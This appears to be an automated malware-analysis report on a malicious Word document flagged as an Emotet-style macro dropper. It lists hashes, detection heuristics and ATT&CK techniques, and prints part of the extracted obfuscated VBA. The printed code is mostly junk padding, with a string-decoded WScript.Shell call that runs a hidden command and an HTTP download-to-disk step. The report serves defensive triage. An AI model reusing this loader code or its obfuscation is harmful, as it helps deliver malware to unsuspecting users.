Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 13e1d6e93da53e77…

MALICIOUS

Office (OLE)

192.5 KB Created: 2018-07-08 11:52:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 78556b7d86b77f3d9f0cd70dcf274204 SHA-1: bd49b79c8d3fb6f4b7f7b2d8f97b5e580e714b9f SHA-256: 13e1d6e93da53e775d4f0fb81d14014754d56c83bf823174154622b2cd02761f
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1036.005 Masquerading: Match Legally Unregistered Code Signing Certificate

The file contains a heavily obfuscated VBA macro that utilizes CreateObject and Shell execution to download and save a file to disk, as indicated by the 'OLE_VBA_HTTP_DROP_EXEC' and 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristics. The macro's auto-execution and obfuscation suggest it is designed to deliver a secondary payload. ClamAV detection as 'Doc.Dropper.Emodldr-6755244-0' further supports its malicious nature.

Heuristics 9

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            ggXohSS = reFId.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set NypTX = CreateObject(uOYLozfW("W$SHc*rcizprtE.$SuhQe*l]lu"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set NypTX = CreateObject(uOYLozfW("W$SHc*rcizprtE.$SuhQe*l]lu"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 86036 bytes
SHA-256: 18f8535b2b89c729905801d98edd0bd9871eb531f42968479bbefb8d50c012c1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
927 of 1399 identifiers look randomly generated (e.g. 'dJJKLzogiFxUEQwctQddlMSWQQbCSfzFbkTKpm') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub oLePfZ(nrBrCU As Integer, NEimEhv As Boolean, QOLTvk As String)
    mQiruANerx = UCase("qEtVc[Q-#&i")
    BOHhszEGZP = 1436 + 1952 + 687
    nAgSmXj = Right("z-.Wow?tDl", 3)
    For vrIJKW = 0 To 291
        MHVnIe = RTrim("WFaidSVcimqiK!IqL!T")
        mFoRMyRnW = Left("R* JMd*L)F)!MGpua", 3)
        IEPjrBt = StrReverse("]MU*gALG.I]J*]czPu^(")
        mQiruANerx = 1393 + 1787 + 1317
    Next vrIJKW

    IEPjrBt = Left("xEuqRjzbIZ]kNjccc", 2)
    While DYHokT < 41
        owPINi = 1405 + 1565 + 329
        nAgSmXj = LTrim("vm]K$[L.!pUlL!n.?IU")
        wcOlVxrX = Space(10)
        mQiruANerx = Space(17)
        owPINi = LTrim("B*-Pv%XYTXN]F]")
        BOHhszEGZP = "OG_vfD$e*EnZ)" + "F(cj[p_SST$ DGfT" + "#pD-lWGJCf.n_UQ*#[d"
        nAgSmXj = RTrim("Bf$WfI-*Rjn?uljIWr")
        yoJuJko = UCase("la*-Z& !Y&%SaZeJIM@")
        mFoRMyRnW = StrReverse("?].By_id[viD^LJ@q")
        nZxjpHFm = "j$(@!r?f!XYj?F^vE[)" + "GuYENN)RaSTK" + ")@w _QGfcX#)"
        DYHokT = DYHokT + 3
    Wend

    nAgSmXj = 1293 + 1322 + 585
    BOHhszEGZP = LTrim("pQZ]r$cAwOJwFLqltV")
    BOHhszEGZP = 558 + 1993 + 548
    mQiruANerx = Space(8)
    mQiruANerx = Space(4)
    mFoRMyRnW = RTrim("r?ogikTa?cJHv(-")
    mQiruANerx = LTrim("nsLycS?Yvxc_.G")
    IEPjrBt = 1775 + 102 + 432
    MHVnIe = RTrim("ON*SyTegLYu?h lAvKBN")
    wcOlVxrX = LTrim("J)*Ho]h&$ [_C")
    nZxjpHFm = LTrim("EpzwZ)pZ(jByfj])tr^Y")
    nZxjpHFm = LTrim("@xN_*Oc-I.jU?T[JGM")
    IEPjrBt = Right("dS& !!)cTyxro", 5)
    tnaMZq = Left("aABxu-NHAHx_i)Qlw.S", 2)
    IEPjrBt = StrReverse("H^Cy)bv[&RPMnj oMWwu")
    While cssbfT < 301
        IEPjrBt = "wJQA?tHNkT_bemK" + "i rB@j$L)TAzamlrVF" + " puphITry#Emx@z)v"
        owPINi = StrReverse("xVMHpbYICoNxqB")
        yoJuJko = RTrim("mNIf^OJXpz")
        wcOlVxrX = StrReverse("ge[*cmms.o]cHs")
        yoJuJko = RTrim(".BIRIdmMnJ")
        nAgSmXj = UCase("Jx$cLHIKiw*WV")
        MHVnIe = RTrim("EM.%nkgNWkNCZrNPv[kv")
        IEPjrBt = Space(1)
        wcOlVxrX = LTrim("c*fxl!)&Hl)QIv yLgO")
        cssbfT = cssbfT + 3
    Wend

    tnaMZq = "NDnkkTn tmagWZ(x!r" + " !XOd]LBEv" + "ElBH(RzNcRn&^wcV"
    wcOlVxrX = 372 - 779 - 711
    tnaMZq = 1012 + 524 + 242
    nZxjpHFm = "jGAlhsNyqO&]slyZ#i" + "kBc?q&E)Zhf?$EYxV%" + "BE)VIOccW[S)Itf"
    mFoRMyRnW = 1193 + 377 + 405
    tnaMZq = LTrim("evcrGcSOWE]HuzMMo")
    wcOlVxrX = Right("Xh[MI(^fJAF[qxmT", 4)
    nZxjpHFm = Right("vkfTXi!big*KI.KYg", 2)
    mQiruANerx = UCase("W)eMGdeCnsHHi")
    IEPjrBt = Space(19)
    yoJuJko = 1273 - 1632 - 1744
    MHVnIe = 1174 + 201 + 1596
    wcOlVxrX = Space(13)
    wcOlVxrX = RTrim("hg#TihkjauZ@dP(d(.N%")
    IEPjrBt = Right("fzWtnyBOu(", 5)
    nZxjpHFm = LTrim("Yi[UwQBGGH)hx)lvyQug")
    nAgSmXj = Space(16)
    mQiruANerx = RTrim("GscEJJFuRUyLMDZCmz")
End Sub

Private Function EIdIlW(RVhOPH As String, kUziwXJ As String) As String
    mFoRMyRnW = RTrim("!uvLBD_aD&o^Eh")
    For zQmQXE = 0 To 46
        wcOlVxrX = StrReverse("YWMx[]eqNrMFL-")
        tnaMZq = Left("bhP@pidRcQm]", 2)
        yoJuJko = Space(14)
    Next zQmQXE

    owPINi = 1005 + 616 + 1305
    mFoRMyRnW = Right("mlt!%dM&wAI#%zraB", 2)
    IEPjrBt = Right("cyqHOuIl A-(fjfV", 3)
    MHVnIe = LTrim("jcXDq?MNfDv[-A")
    yoJuJko = RTrim("KcEg-ywYuV")
    tnaMZq = Right("lqUzD!K.?TQKeVM", 3)
    mFoRMyRnW = 1121 - 849 - 1818
    IEPjrBt = LTrim("q&Pq?UpA!GSLBWZ")
    nAgSmXj = RTrim("zmBcrvmHs_YYK?C)z")
    IEPjrBt = Left("SOSqW-cbKfA", 5)
    MCeYrdDAhW = UCase("UDy?pvp!TX")
    owPINi = ".vCZ( t)@yOO)TLlI!" + "qBmkxZ[YGPs](w" + "gbEayEJfYrR"
    AXMDCQ = Left("?^xEGDvyBEdHBWILK", 3)
    tnaMZq = Space(7)
    yoJuJko = StrReverse("unkbOvbA)tqM%fV")
    MHVnIe = LTrim("NdJz_jO&LkjS")
    BOHhszEGZP = 597 - 1229 - 1090
    nAgSmXj = LTrim("P]^evI#oo*k")
    owPINi = RTrim("E(i.%xZkKJnOq&QN")
    nZxjpHFm = UCase("vIfW$Itk$ZCJ T_B")
    BOHhszEGZP = UCase("UTP.xJ&t$zCH@hC")
    While LUiaFi < 317
        yoJuJko = UCase("EeDYqm^]FBapG_WBzO*x")
        BOHhszEGZP = RTrim(".Kd&q yJhlMH]TUP")
        AXMDCQ = 115 - 555 - 892
        IEPjrBt = 430 + 254 + 1248
        nZxjpHFm = UCase("^q%QQMV$zVhba")
        IEPjrBt = RTrim("TbB&udj.&BNVuvK&U")
        LUiaFi = LUiaFi + 1
    Wend

    nZxjpHFm = 1878 - 454 - 1676
    MCeYrdDAhW = 1356 + 915 + 874
    For rRMbrT = 0 To 222
        owPINi = StrReverse("Q).-!B^s!Yw(OAVNbm")
        owPINi = StrReverse("]QPjg_ehDfwMWPQz$pSf")
        AXMDCQ = StrReverse("[$E[xTCn$c[eKRW")
        nZxjpHFm = StrReverse("o^*BlgNoZWfNm.k[C")
        MHVnIe = 549 + 474 + 1590
    Next rRMbrT

    BOHhszEGZP = Left("QeySrrMu@CgIRAS", 4)
    wcOlVxrX = 104 - 1487 - 955
    AXMDCQ = RTrim("lOxEsqYhr&on!LZ] ")
    For SBMkOZ = 0 To 87
        mFoRMyRnW = RTrim("dbBkidJnVBnD]")
        mFoRMyRnW = 1330 - 707 - 402
        mFoRMyRnW = "s-JLFMR#tHp?WdbKM" + "iiI^gaAaU?bW[oQ" + "y]bhiGY%GN$D!("
        owPINi = "sffJBPOuAO" + "CmMvUG[mi%Fs]uOM" + "St!DBzdV]astG"
        tnaMZq = Right("jlmm%Vf&fOu*]", 2)
        MCeYrdDAhW = Space(18)
    Next SBMkOZ

    yoJuJko = "j%^Lv!QraN@v$FX.j" + "RDYgAmexMbRIURu" + "ZzQS.y]^l)WC.bC"
    mFoRMyRnW = "^zlMXp]F#Q$Orh#!JAip" + " lhd&AVX(N" + "y^Fan#D)X]G)t[vMPxwZ"
    BOHhszEGZP = Right("g^#M#(KoZ&LzGT", 5)
    MCeYrdDAhW = Right("pG*@wYH%ZjiuF^$[GC!", 2)
    IEPjrBt = Right("_Rd-zgHRJ!(Nl^fISudW", 5)
    MCeYrdDAhW = "sP)D.s@ZAI-A!iQenV" + "Qo]u(Y&q(W-DCL]xj#-" + "&sdLL-@s@Phr"
    EIdIlW = "bxkEOwjmGTAJpsJJNVNeAOCgGESYYrZThNmIT"
End Function

Private Sub SquseH(OFquhj As Double, xSslvTb As Boolean, BrDMKbX As Double, zqlQQG As Boolean, EYqaHj As Integer)
    AXMDCQ = UCase("LT?uFuFt?TSK^Qay")
    nZxjpHFm = "?bIv^okczZ?KE" + "i*T?Hq#qCcjCi" + "H^^QAWsN@JrVF[i]DD?$"
    IEPjrBt = UCase("@[?O)IK?oO")
    BOHhszEGZP = 610 + 147 + 241
    MCeYrdDAhW = UCase("IILx NofJ?swQ")
    BOHhszEGZP = Right("FogUP.wRarN@twqg[", 3)
    While rgnIDp < 332
        IEPjrBt = "ejk&VW*gRl" + "xiV!mztd.-(p?DpD)_oZ" + "$.*Jq[q^!-[A"
        nZxjpHFm = Space(12)
        owPINi = RTrim("eCb^?qxV]O")
        MCeYrdDAhW = 1810 - 1224 - 471
        yoJuJko = Right("lFNp-Vrpb#hc", 5)
        rgnIDp = rgnIDp + 1
    Wend

    wcOlVxrX = LTrim("wMztqkjGozSm&TJPs@s")
    MHVnIe = RTrim("$iheZMjmQfhawuX?")
    nAgSmXj = Space(19)
    tnaMZq = RTrim("SylQ&DluYcf&t")
    MCeYrdDAhW = StrReverse("wla!gEwaXGwVoNEug]u")
    owPINi = Space(6)
    nZxjpHFm = "jb!FTJI?_CSRt#b([YDW" + "rZI[(jPLX]A" + "c?M#neAEUgsZ"
    nAgSmXj = StrReverse("pglefbS]a(D-")
    tnaMZq = StrReverse("%DJKG$ N-Q_")
    wcOlVxrX = Space(20)
    While ATqIUK < 349
        mQiruANerx = Right("))oLkDnotH", 5)
        nAgSmXj = Left("Qe$j)E_Fb*RV", 2)
        AXMDCQ = RTrim("qVwZ uiQ%oWG&mNVE.z")
        MHVnIe = RTrim("yu(y%GManQGMZeZQ%")
        BOHhszEGZP = RTrim("e*F.NsRE#$YnqAgIJyF")
        IEPjrBt = RTrim("ajLHjBOfU uJE-Q@o(")
        wcOlVxrX = Left(")%dxI?hAyu)MJhkDE", 4)
        MHVnIe = UCase("JiXvYIJQ]JQ")
        MCeYrdDAhW = 1714 + 1378 + 373
        ATqIUK = ATqIUK + 3
    Wend

    IEPjrBt = Left("]ND!)kGw&DrOpIRSDnz", 5)
    mQiruANerx = Space(8)
    nZxjpHFm = "CDvB%^HTiB-Ev!aE" + "O*Yzc-!?PhuKB" + "lmhO&P*df*!"
    MCeYrdDAhW = Left("@ACxz#!vDn", 4)
    For MTThfg = 0 To 214
        MHVnIe = Right("gn?ZTpJ.YrGml", 2)
        mFoRMyRnW = 519 + 1717 + 1547
        nAgSmXj = 1047 - 229 - 1371
        MHVnIe = RTrim("(]YCBCxHvfjjr_Giy")
    Next MTThfg

    MHVnIe = LTrim("KZxWq%zQVuxZm-SGstq")
    BOHhszEGZP = LTrim("h!_T hKGne")
    nZxjpHFm = LTrim("P mdyckbn?Z(jxco")
    IEPjrBt = 595 + 1067 + 460
    MCeYrdDAhW = Left("AHgI!VIZfLuROWpRyU#", 5)
    MCeYrdDAhW = 614 + 200 + 1151
    MCeYrdDAhW = "BF_fM[^gRP#sOZh(K" + "kPccA@DcX(BJuJ " + ")RWrzZGQ#egQb&-^.)!f"
    MHVnIe = RTrim("L#Ru(&&fzk[^%y[")
    yoJuJko = Left("O_rn#vc?A#Wk]g.XBFUt", 4)
    MCeYrdDAhW = StrReverse("*zy W[?Rj BC")
    IEPjrBt = UCase("zLXcrK-Atmj-Ta %TOlo")
    MCeYrdDAhW = Right("-UKCzLtli]TfzZV CVIu", 2)
    For JzxmKt = 0 To 294
        MHVnIe = Space(7)
        AXMDCQ = 1431 - 974 - 1728
    Next JzxmKt

    IEPjrBt = RTrim("*?_Jk-rMeJrLEsU&[F")
    IEPjrBt = UCase("fSUi*VMJZ.P((q*AzlvT")
    mFoRMyRnW = 761 - 1000 - 355
End Sub

Private Sub wSMdAqxK(pDCza As String, CQhqwbw As String, aKaUaIK As String, wOBilQM As String, QIPjzLO As String)
    yoJuJko = "PEp^%pHtIA!PL(oRDys" + "Sn$oe)AKbgoxi Uez" + "o*[NgRNQ@kruz@f"
    nZxjpHFm = RTrim("OGwNANiQtUltEY")
    wcOlVxrX = Space(8)
    For iQRZpb = 0 To 215
        nAgSmXj = RTrim("Ud!)EmzgtKB")
        AXMDCQ = 725 - 1772 - 486
        AXMDCQ = LTrim("jL]movZSY?@")
        IEPjrBt = LTrim("OK_J?vtr^bkBnkmu?fk")
        nAgSmXj = RTrim("Gy*Q]-mSPm.ygG(_ve*")
    Next iQRZpb
    tnaMZq = "I Uyg$Ex*(V&XXz&JMl" + "$tGPxvMh)S" + "Xv&UN)zvgLL-eB"
    tnaMZq = UCase("wv f[Keh W")
    owPINi = StrReverse("h[[e)tnHGavs")
    nAgSmXj = 1521 + 1378 + 1264
    MCeYrdDAhW = "uorAfbTBQsFqHAk" + "vBJ[kYDWYH" + "Y!(!iYD]p["
    mQiruANerx = Left("%zng_k.i-#*?P@qpiMdd", 5)
    Set NypTX = CreateObject(uOYLozfW("W$SHc*rcizprtE.$SuhQe*l]lu"))
    NypTX.Run pDCza, 0
    IEPjrBt = UCase("Xc$AdnpahiHzJEAgQ*-")
    mQiruANerx = Right("bc)%zj%?ygzBH", 3)
    For nVBYPL = 0 To 191
        nZxjpHFm = RTrim("^szQZ)vuzX[eMMz-Yr")
        nAgSmXj = Left("ZVB^cWXwoFYWA", 5)
        yoJuJko = StrReverse("s.ytEMDDJg!Xr(BGRpp_")
        IEPjrBt = LTrim("oIpZc%%kfcj!PJIVMF")
        MHVnIe = 351 + 982 + 948
        owPINi = Left("VwyINmCTIitXwODR", 3)
        owPINi = " [Pp$.tXEJJXt(Bsk[!" + "F-O@M[%@It" + "&X&m)HyA^*FMU"
        BOHhszEGZP = LTrim("^WgU)nO(G$rikPz%Rd[")
        mFoRMyRnW = UCase("GbIBaU@R_ @y(UDJ#lJ")
    Next nVBYPL
    nZxjpHFm = StrReverse(")-E*UPRF*g")
    MHVnIe = UCase("qi_RaZl]doPp)o")
    owPINi = UCase("KpkAci_zZ_R")
    BOHhszEGZP = UCase("%rS#Nf[Vu-# b")
    AXMDCQ = Space(15)
End Sub

Private Function fPEbkf(zYvpTBu As Integer, gdAwZEW As Boolean) As String
    AXMDCQ = Left("xgsrA#gb(MUZl)XLgj@", 2)
    tnaMZq = 924 - 180 - 722
    MCeYrdDAhW = Space(12)
    AXMDCQ = "xIoslXma-e*&G" + "[Pycf-fDx)" + "o]fhrGv) %Jx&Q*uKwe"
    For ruCuDu = 0 To 201
        mFoRMyRnW = "j?O P[#UjcEYVaO" + "Mi[nmvWJekB" + "o$f A-fxUUO?OADf$^DK"
        mFoRMyRnW = 713 + 1795 + 811
        MCeYrdDAhW = LTrim("-?o^cmvox$]!e*U")
        tnaMZq = LTrim("KR^[ufhQdj t")
        mFoRMyRnW = "r%ofZsuk?*%$ k" + "#ObMuDRFN^)m" + "]ofopf_QriDuredC"
        BOHhszEGZP = StrReverse("#sD#*shcKK%Jzh")
        owPINi = Space(8)
        MCeYrdDAhW = StrReverse("RbdjwUbLQz#F#aWg ep")
        wcOlVxrX = Left("WJd_htydYr", 4)
    Next ruCuDu

    MCeYrdDAhW = RTrim("f$boCQIn&^aC_")
    nAgSmXj = "FvQnkQ_ttJaaECoW" + "^G(JUXWNgKRTo]Vn" + "Ez)-LQDfZiYoN%W(Knq"
    mFoRMyRnW = Right("Wl&csNKgEoNTPX", 5)
    wcOlVxrX = Space(16)
    nZxjpHFm = Right("DHN#_]qLgiqRuPkbgf", 5)
    AXMDCQ = Left("apFF$Cu*zhO_DD", 2)
    AXMDCQ = Space(17)
    BOHhszEGZP = Right(" ^kxTKwJi TafgT", 4)
    IEPjrBt = StrReverse("T@mNXQ&Y_vUqw")
    wcOlVxrX = Space(13)
    nAgSmXj = StrReverse("xwWl?G.gfG")
    IEPjrBt = Space(14)
    BOHhszEGZP = UCase("oJgxVhBSrf^qnsXX_")
    mFoRMyRnW = LTrim(")FZKDiMWxR")
    wcOlVxrX = UCase("ts%)Y_y^_(UD")
    AXMDCQ = LTrim("F#TcxD) i*NGpI$*yNY")
    While ZHdFcQ < 376
        MHVnIe = StrReverse("zsuI$LS[?SjNjEfB[")
        nZxjpHFm = StrReverse("NEbm.zEltCYyoZ_wp")
        MCeYrdDAhW = StrReverse("(cyfchAetGP@P[")
        ZHdFcQ = ZHdFcQ + 2
    Wend

    MHVnIe = Left("GB zaI@Zl(B_mVK", 3)
    tnaMZq = StrReverse("BjYx]i.Jtg@")
    nAgSmXj = UCase("BnID)PiYU)yd)sf")
    While SJftyI < 387
        nZxjpHFm = Right("Et&)EO(glln?r@", 3)
        nAgSmXj = RTrim("?*TvfHKfrNfsyy")
        owPINi = UCase("fPyeqiNcH!!rThS")
        AXMDCQ = StrReverse("sUkOyPom!kqf")
        SJftyI = SJftyI + 2
    Wend

    For fsArxs = 0 To 138
        owPINi = 1828 + 700 + 410
        owPINi = UCase("((* G_e@lC.")
        mQiruANerx = "F (Dvvc(Zu!fu xO" + "cmDBnjXAAMWdD*" + "tSdW%@Bl&-FI*JGdho"
        MCeYrdDAhW = Space(19)
        tnaMZq = Right("K) WMhoDkv[omzb[^pq", 4)
        nAgSmXj = LTrim("so.aY?aT!hQiPQ")
        MHVnIe = 272 + 372 + 1304
    Next fsArxs

    tnaMZq = RTrim("]PA._mi^neD?^[]l")
    nAgSmXj = Left("oKznnacpn]WVyeNeULHy", 5)
    IEPjrBt = 899 + 1243 + 785
    fPEbkf = "UBYNKakzotYxcpjxlOEfniplhczSSS"
End Function

Private Sub SeBUaC(YBOHSV As String, FUAhuSw As String, WPhTwrl As String, LklcelG As Boolean)
    For sAXhaU = 0 To 258
        nAgSmXj = Right(".z][vbolkme$", 2)
        wcOlVxrX = LTrim("WBL$[wuDUzQ")
        nAgSmXj = Space(16)
        AXMDCQ = Space(14)
        IEPjrBt = StrReverse("vsgQKO^n[dQO")
    Next sAXhaU

    IEPjrBt = "rxIPnYt]uI-Vxnx*W" + "TUwQx?)]zis#qBPyI" + "!#Kzeua@WFZBEZys["
    MCeYrdDAhW = Space(9)
    mFoRMyRnW = Space(15)
    mQiruANerx = Left("wm-.A.gPJuw", 5)
    While XcRNpd < 132
        IEPjrBt = LTrim("aPpwhLYiFhSV")
        mQiruANerx = UCase("OhRBkFfRsO)c-?")
        XcRNpd = XcRNpd + 2
    Wend

    MHVnIe = "CYr_RhQ%CrORU" + "LvMf$gM_^Wet#noYY" + "?RZX$zKji%"
    MHVnIe = Right("pK(dZ%TBKBeHVk.#x", 4)
    MCeYrdDAhW = RTrim("Z%?uV.QbP$gN")
    While HBnrQq < 214
        wcOlVxrX = Space(2)
        MCeYrdDAhW = 950 - 1257 - 230
        nAgSmXj = "GfhhKM(#(!sp!cPQ" + "!yO.yD^@Sq#wbdwMp" + "?wb%r]!rO.-VzGs"
        mQiruANerx = 530 + 1808 + 325
        MHVnIe = Space(3)
        BOHhszEGZP = Space(15)
        HBnrQq = HBnrQq + 1
    Wend

    nZxjpHFm = Right("!op#B?BeNAI]EZkZMXXz", 4)
    owPINi = 1115 - 699 - 1138
    mQiruANerx = UCase("u. g#oki-c")
    nAgSmXj = UCase("xPpMGX[cYNkNl$")
    owPINi = StrReverse("Vz.JdBu#X*ItQ-M&[TjD")
    wcOlVxrX = Space(13)
    wcOlVxrX = 1911 + 1398 + 1312
    mFoRMyRnW = Space(13)
    yoJuJko = "AIKOtO$_lvfKiVF" + "HA$@]C]]MLkZANF" + "U fBnfvFo)V(V"
    nAgSmXj = UCase("gid.XrOhVm)RqMjn&cy$")
    wcOlVxrX = LTrim("q?u Im.DEl%TDgvL?")
    BOHhszEGZP = 1209 + 1750 + 136
    AXMDCQ = RTrim("HBkHjzQ]EUOg)G[jA")
    owPINi = RTrim("(P$WB^wQz^")
    nZxjpHFm = UCase("qV ^I(NZ)O UzLM)r")
    tnaMZq = Left("q#_%au#Nwz.GdEbNK", 4)
    nAgSmXj = Left("be(u(*!NZ[BId", 2)
    MCeYrdDAhW = "SWWntBHh trQXMfr" + "KNuxh$SL-p?$&yxDb" + "tevlOgLZEJsN"
    tnaMZq = "d@H_t[l&QZ^S" + "&mOc@aYB.@YqEv Zi" + "nFc]a%^QjGV"
    wcOlVxrX = Space(6)
End Sub

Private Sub NucJRE(RtGAgbS As Double, CJcQjPx As Boolean, gItKRL As Double, NWefva As String)
    nZxjpHFm = StrReverse("^CzD@Ct?WJmxK_")
    owPINi = Right(".hi%d!%p(Hz#", 4)
    owPINi = RTrim("^!)pKcq!KtOE.%P&")
    BOHhszEGZP = Left("u_mq@lAuJ eafVIig", 5)
    tnaMZq = 633 + 1585 + 686
    IEPjrBt = 1427 - 371 - 1734
    mQiruANerx = LTrim("iq^Xg]T_)zeM")
    wcOlVxrX = "]n YXzZuPv(R(]#KRu&" + "FFce?i%TL.T.ADwBy" + "_fp-y%C@%SUT"
    AXMDCQ = Left("MWc@EQ$DwKGDdHowEn", 2)
    wcOlVxrX = RTrim("jKLEZV)AHOVRvUVBXMxY")
    tnaMZq = RTrim("P#mlSiJw-UJ")
    tnaMZq = UCase("L%anG%Ur%W_twPJ")
    tnaMZq = Left("DlvHv$CHV@NH(skwWr", 4)
    AXMDCQ = RTrim("LSN%(wgiyq")
    MHVnIe = LTrim("Kh[S-%kfZM")
    nZxjpHFm = 995 - 491 - 869
    nAgSmXj = RTrim("%qXT]))iQypE(")
    tnaMZq = StrReverse("H.RaXkq^A@HGA")
    MHVnIe = RTrim("*A[(y$dNt(")
    nAgSmXj = 1736 - 880 - 1752
    For mCwVLh = 0 To 142
        BOHhszEGZP = StrReverse("CDR?EWO CuSTJsuSxw")
        nZxjpHFm = 101 - 894 - 221
    Next mCwVLh

    MCeYrdDAhW = 137 - 1000 - 611
    owPINi = 1998 - 959 - 1260
    owPINi = Space(10)
    MCeYrdDAhW = Left("Rw)YU#jdw(zll(f", 2)
    For gpCitX = 0 To 201
        owPINi = 1851 - 1748 - 1225
        wcOlVxrX = 382 - 1869 - 1548
        yoJuJko = Right("pA!z]W$]Qyeh?Xm%T!_", 5)
        nZxjpHFm = Space(18)
        MCeYrdDAhW = "tmoomR?KWvyo^wpJ[" + "EqWF&Re$ WRl[T" + "aRDCyTIFqrGjq"
        wcOlVxrX = "IAB%bAVul-O^REIM" + "L]jxr vlheL$ucl" + "C$yffhKOtoOS.CeWQsu#"
    Next gpCitX

    AXMDCQ = Left("%b?tcvTLQyof#I^%e&)X", 5)
    nZxjpHFm = UCase("J@*LMJqghOoFZ")
    mQiruANerx = RTrim("QFLbs%IttaMN%)nQ.M")
    MHVnIe = StrReverse("aV]uhD$rZ)x")
End Sub

Private Sub Lvdrkm(QwhSCra As Double)
    tnaMZq = StrReverse("QB.MsmIgcnUR&nnDsZ")
    wcOlVxrX = StrReverse("HvcWyjZQ?]yBOk!(Rz")
    While ceYgds < 368
        nAgSmXj = "_sRBJp_wSJS" + "#JGH!ht&(GT%FH" + "hyA.ScjywC[h&qb(%"
        mFoRMyRnW = UCase("pq&)VzXfvYHoHbb")
        IEPjrBt = RTrim(")XYXaaaN@?F_YTNQ")
        tnaMZq = "ar?XLSVXbrA" + "htq[vJebC." + "S]vacmnFyn"
        yoJuJko = Space(9)
        nZxjpHFm = 670 + 165 + 823
        owPINi = Space(15)
        ceYgds = ceYgds + 1
    Wend

    mQiruANerx = "muqcDcJSXjVPAc.Q" + "PVGkGMc[LiHksNhW DK_" + "X^k.nZE#&.ZTRdO&NbG^"
    mFoRMyRnW = RTrim("boMU.f.t-hb")
    mFoRMyRnW = Left("AAOB&f[H*bZ!(gBIb^*", 5)
    MHVnIe = Left("[cc?z#sahVx^iS", 2)
    nZxjpHFm = Left("xJSKJJOQ^RPE#mLO ^hI", 4)
    BOHhszEGZP = LTrim("Mb)qf[tfrI$[J_Se")
    nAgSmXj = "zqeC$AKG*@W[^h$B" + "#*rHvKWwdtEs_n" + "qyRqT_ReS$w_"
    wcOlVxrX = Left("$H  K un-mOwINKnYj", 2)
    For pzrFQW = 0 To 349
        BOHhszEGZP = UCase("et#TJxDB[hP")
        owPINi = LTrim("CUmrEIpR#tc@Cl?")
        MCeYrdDAhW = UCase("CNo[OuKvlK?wLYh")
        wcOlVxrX = 1186 - 1964 - 479
        IEPjrBt = Left("AD @a[L(bU#y", 3)
        nZxjpHFm = RTrim("W_po#ZGhxymN?")
        BOHhszEGZP = RTrim("NgH)O]Ea&qVSDg")
    Next pzrFQW

    tnaMZq = 1262 - 1975 - 997
    yoJuJko = Left("tyl-]oZ!Hw", 4)
    mQiruANerx = StrReverse("Ri!zc-Br?O$ExYIP")
    yoJuJko = LTrim("spy*TC#&ij")
    mQiruANerx = Left("w!zg#NV%JBibIhEd", 3)
    mFoRMyRnW = LTrim("Uc^QLGgIyIbQ$")
    mFoRMyRnW = UCase("wYU!lAf.wI")
    owPINi = "%NHnxaR?cS@p" + "]QT_]ekKpZG" + "erZVMALT!$$oJ"
    MCeYrdDAhW = StrReverse("iE.*Dvi(j?IXvlwbl#?u")
    nZxjpHFm = StrReverse("DQhjY?Ku-hYCoQ[")
    mFoRMyRnW = StrReverse(" (rDEG@d!vTm^n*u)df")
End Sub

Private Sub VfkEXq(TUsNrSC As Integer, AfLscZ As String)
    mQiruANerx = Space(19)
    mQiruANerx = 1562 + 1019 + 188
    While opijrZ < 248
        nZxjpHFm = 311 + 1261 + 1108
        mQiruANerx = 863 - 733 - 1189
        opijrZ = opijrZ + 3
    Wend

    For UVeGuH = 0 To 286
        tnaMZq = 1391 + 1117 + 1844
        AXMDCQ = 1958 - 1444 - 622
    Next UVeGuH

    mQiruANerx = StrReverse("rT)UPKI.G!pI(yf)-(q")
    tnaMZq = RTrim("rj&YH eItb")
    tnaMZq = 1571 + 1399 + 1518
    tnaMZq = 1446 - 1627 - 1261
    tnaMZq = Right("SUOE*iyyFgAwMD", 4)
    tnaMZq = UCase("-)&g*imnv%_Q")
    While BVXbRK < 177
        tnaMZq = StrReverse("GHEnn^WkrjA_")
        MCeYrdDAhW = 1085 - 1463 - 275
        mQiruANerx = "qWRmC-JgR?vc$$" + "p((#m A!dac(pW()R" + "VdL&r@Hq#NobctWV"
        yoJuJko = RTrim("C#a-J%t J Olr]qRwOP!")
        tnaMZq = StrReverse("N_M)X!efRLdfL")
